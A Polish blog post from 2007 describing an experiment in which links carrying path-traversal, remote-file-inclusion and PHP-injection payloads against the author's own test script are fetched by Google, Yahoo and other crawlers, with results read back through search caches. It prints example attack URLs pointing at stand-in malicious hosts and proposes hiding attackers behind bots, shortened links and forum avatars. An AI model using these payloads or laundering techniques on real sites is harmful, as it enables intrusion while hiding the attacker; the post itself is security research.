Rise of the Robots - Sprzężenie zwrotne
sierpień 26th, 2007Hi,
Całkiem niedawno wpadła mi w ręce świetna książka “Cisza w sieci” autorstwa Michała Zalewskiego (lcamtuf-a). W drugiej połowie książki jest przedruk artykułu z Phrack 0×39 “Rise of the Robots” (również autorstwa lcamtuf-a). Artykuł sugeruje iż można wykorzystać roboty webowe (np. GoogleBot) do przeprowadzania ataków na strony WWW oraz niektóre usługi, po prostu podając im linka który jednocześnie przeprowadza atak, np:
http://alamakota.pl/skrypt.php?inc=http://zly.pl/evil.txt
W ramach eksperymentowania postanowiłem powtórzyć opisany przez lcamtuf-a eksperyment, dodając jeszcze jeden warunek - uzyskanie informacji zwrotnej na temat tego czy atak się powiódł oraz jego rezultatów. W tym celu na swojej stronie http://gynvael.vexillium.org stworzyłem trzy testowe linki:
Pewien test by gyn -> http://gynvael.lunarii.org/test.php?inc=../../../../etc/passwd
Inny test by gyn -> http://gynvael.lunarii.org/test.php?inc=http://zlosliwa.strona.haxxora.pl/zlosliwy.php
Kolejny test by gyn -> http://gynvael.lunarii.org/test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E
Dodatkowo na stronie http://gynvael.vexillium.org włączyłem skrypt logujący odwiedziny. Skrypt test.php również dokładnie loguje wszelkie odwiedziny, dodatkowo, wywołany z niepustym parametrem inc, listuje coś co mogło by być plikiem /etc/passwd.
Eksperyment trwał niecały miesiąc, rozpoczął się 4 sierpnia. Piątego sierpnia o 00:42 przybył na stronę z linkami pierwszy bot msnbot/1.0 (+http://search.msn.com/msnbot.htm), dwie minuty po nim pojawił się jakiś prywatny szperacz libwww-perl/5.80 z adresu amenti.chthonic.net. Yahoo! pojawiło się około 8:16, a o 9:33 przyszedł GoogleBot. Yahoo! wróciło jeszcze o 12:45 oraz 23:30. Szóstego sierpnia pojawił się niejaki Gigabot/3.0 (http://www.gigablast.com/spider.html). I tak dalej. W ciągu niecałego miesiąca stronę odwiedziła cała masa botów, które parsowały linki przeprowadzające atak, i za pewne zapamiętywały je w calu późniejszego odwiedzenia.
Jeśli chodzi o stronę atakowaną, pierwszy atak przeprowadził GoogleBot o godzinie 11:05 (czyli godzinę i 32 minuty po wizycie na stronie z linkami). Atak został przeprowadzony na adres /test.php?inc=http://zlosliwa.strona.haxxora.pl/zlosliwy.php.
Na kolejny atak czekać było trzeba ponad 4 dni. Dziewiątego sierpnia pojawił się Slurp (bot Yahoo!) i “przeprowadził atak” na /test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E. 15 minut po nim ten sam atak przeprowadził GoogleBot.
Kolejny atak odbył się 16 sierpnia, wykonał go ponownie bot Yahoo! wchodząc ponownie na /test.php?inc=%3C%3Fphp%20jakis(kod)%3B%20%3F%3E. 18 sierpnia pojawił się znowu GoogleBot wykonując ponownie ten sam atak co Yahoo! dwa dni wcześniej. Yahoo! wrócił na ten adres ponownie 23 sierpnia.
Co ciekawe, inne boty nie zainteresowały się linkami.
Wniosek z eksperymentu w tym momencie brzmi: można wykorzystać boty do przeprowadzania ataków (HTTP/GET, ew inne). W moim wypadku wystarczyło poczekać 1.5h, i atak został przeprowadzony. Co ciekawe, po wizycie pierwszego bota google czy yahoo, można linki usunąć ze strony.
Natomiast idźmy o krok dalej. Mianowicie boty przeprowadzały “atak” który powodował wylistowanie jakiegoś ważnego pliku. Jak uzyskać informacje o tym co w tym pliku było ? Z “pomocą” przychodzi tutaj mechanizm cytowania stron na wyszukiwarkach, oraz mechanizm cache’owania stron.
Mechanizm cytowania polega na wyświetlaniu fragmentu strony, który zawiera poszukiwany przez nas ciąg. Można go użyć do uzyskania całej strony w bardzo prosty sposób, mianowicie dodając do zapytania ostatni wyraz (np nazwę użytkownika w przypadku /etc/passwd) widziany w podanym fragmencie (a usuwając inne wyrazy). Dzięki temu w następnym cytacie uzyskamy dalszy fragment strony. Użycie mechanizmu cytowania wygląda tak:


Mechanizm cache w wypadku google powoduje po prostu przywołanie zawartości strony z pamięci wyszukiwarki. Może dać to następujące rezultaty:

Niestety cache Yahoo! nie zawierał strony z etc/passwd:
Tak więc za pomocą botów można przeprowadzić atak, oraz uzyskać informacje zwrotne na temat powodzenia ataku. Dodam że strona w google cache pojawiła się dopiero pod koniec eksperymentu, czyli okres oczekiwania na wyniki jest długi.
Podczas eksperymentu wyszła jeszcze jedna ciekawa rzecz. Mianowicie linki testowe były publicznie dostępne na gynvael.vexillium.org, i co ciekawe, odwiedzający moją stronę bardzo chętnie je “klikali”. Jeśli podczas eksperymentu atak przeprowadziło niecałe 10 botów, to w logach można spokojnie znaleźć informacje o około 100 “atakach” przeprowadzonych przez normalnych użytkowników. Co bardziej ciekawscy po pierwszym wejściu zaopatrzyli się nawet w zagraniczne proxy i szperali dalej do czego inc= można wykorzystać :).
Natomiast ta informacja może wskazać kolejny wektor “ataków” na który będą w przyszłości narażeni normalni użytkownicy. Wystarczy podać na forum czy w przysłowiowych “komentarzach onet” jakiś link (np. dodatkowo “spakowany” za pomocą tiny.pl), a ludzie na pewno na niego “klikną”, czyli de facto, przeprowadzą “za nas” atak na jakiś serwer. Proszę zauważyć że nawet “klikanie” na link można pominąć, choćby poprzez wstawienie “atakującego linku” jako awatar na jakimś forum. W takim wypadku wystarczy by użytkownik odwiedzający forum po prostu wszedł na stronę, a już bezwiednie przeprowadza atak. Taka metoda ataków może bardzo utrudnić zlokalizowanie prawdziwego napastnika.
OK Tyle,
G.C.
ps. jeśli ktoś jeszcze nie czytał “Ciszy w sieci”, to bardzo polecam ;>, mega książka
Recently
Archives
Categories
